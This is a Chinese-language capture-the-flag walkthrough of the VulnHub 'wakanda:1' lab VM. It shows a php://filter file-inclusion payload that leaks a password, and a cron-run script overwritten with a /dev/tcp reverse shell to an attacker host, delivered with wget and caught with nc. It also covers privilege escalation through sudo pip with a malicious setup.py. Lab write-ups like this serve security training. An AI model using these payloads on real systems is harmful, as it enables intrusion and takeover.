wakanda:1靶机渗透测试

一、靶机下载地址

https://download.vulnhub.com/wakanda/wakanda-1.ova

二、信息收集

1、主机发现

# 使用命令
nmap 192.168.222.0/24 -sn | grep -B 2 "08:00:27:ED:98:E1"

2、端口扫描

# 使用命令
nmap 192.168.222.149 -p- -sV

3、指纹识别

# 使用命令
whatweb 192.168.222.149

4、目录扫描

# 使用命令
dirsearch -u  "http://192.168.222.149"

三、获取shell

1、访问靶机IP地址

2、右击查看源代码

从网页源码上看给了一个参数，拼接访问一下index.php，因为他是脚本文件，不过得删除.php后缀才可以访问成功

lang表示可以随意切换网站的语言,在这里?lang=fr表示语言为法语,可以设置成中文,英语等语言,既然这个lang可以改变语言,那么说明改变语言使用了语言php文件,那么关联的就是文件包含漏洞了,页面没什么可以下手的地方,那我们就构造url,这里就关联到一个知识点,也是我们要用到的:php://filter.它是php中一个独有的协议,它作为一个中间流来处理其流,比如我们可以将我们手上的源码用base64解码来dowm下来.

/?lang=php://filter/read=convert.base64-encode/resource=index

base64解码，得到了一个password:Niamey4Ever227!!!

3、由于开放了3333端口,3333端口用于连接ssh,而连接ssh则需要用户名和密码,密码是有了,但是用户名没有,再反过web页面看一下,底下有作者,尝试一下

# 使用命令
ssh mamadou@192.168.222.149 -p 3333

# 密码
Niamey4Ever227!!!

4、执行命令，发现执行不出来，这是开启了python shell ,只能通过函数来执行命令，很麻烦，因此，我们利用python shell再开启一个bash shell

# 使用命令
import os

os.system("/bin/bash")

5、输入ls命令，发现第一个flag文件

6、再次进行目录翻找，发现了第2个flag，在目录/home/devops目录下，这应该是两个用户目录，进行查看，发现没有权限

7、无法执行sudo -l提权，翻看tmp目录，发现，test文件每隔五分钟就会被修改一次，说明有一个定时任务在不断被调用，/srv多用来存放系统服务类脚本的多,最后在srv下找到了这个定期运行文件

# 使用命令
cd /tmp
ls -al

8、尝试将.antivirus.py的内容修改为如下内容

f=open('/home/devops/flag2.txt', 'r').read()
open('/tmp/flag.txt','w').write(f)

# 使用命令
echo "f=open('/home/devops/flag2.txt', 'r').read()" > .antivirus.py
echo "open('/tmp/flag.txt','w').write(f)" >> .antivirus.py

9、几分钟后查看tmp目录，果然出现了flag.txt，读取便获得了第二个flag

10、用devops用户身份创建一个shell，所以要转到这个用户，将.antivirus.py内容改为

import os
os.system("echo \'bash -i >& /dev/tcp/192.168.222.41/6767 0>&1\'|bash")

11、尝试了很多方法，发现写不进去内容，故将内容写到kali上然后用wget命令下载下来

# 使用命令
vim python.py

python3 -m http.server

12、使用wget命令进行远程下载

# 使用命令
wget http://192.168.222.41:8000/python.py

13、进行文件替换

# 使用命令
cp python.py /srv/.antivirus.py

14、进行监听6767端口，该脚本会自动执行，只需等待几分钟就会连接

# 使用命令
nc -lvnp 6767

四、提权

1、输入sudo -l命令查看可执行的命令

2、发现pip不需要密码，创建一个恶意setup.py并上传到tmp目录，和上面的方法一样，创建文件，并远程下载到/tmp目录下面

# 使用命令
vim srtup.py

python3 -m http.server

wget http://192.168.222.41/srtup.py

3、攻击机开启nc监听端口，控制靶机执行

# 使用命令
sudo -H /usr/bin/pip install . --upgrade --force-reinstall

4、查看最后一个flag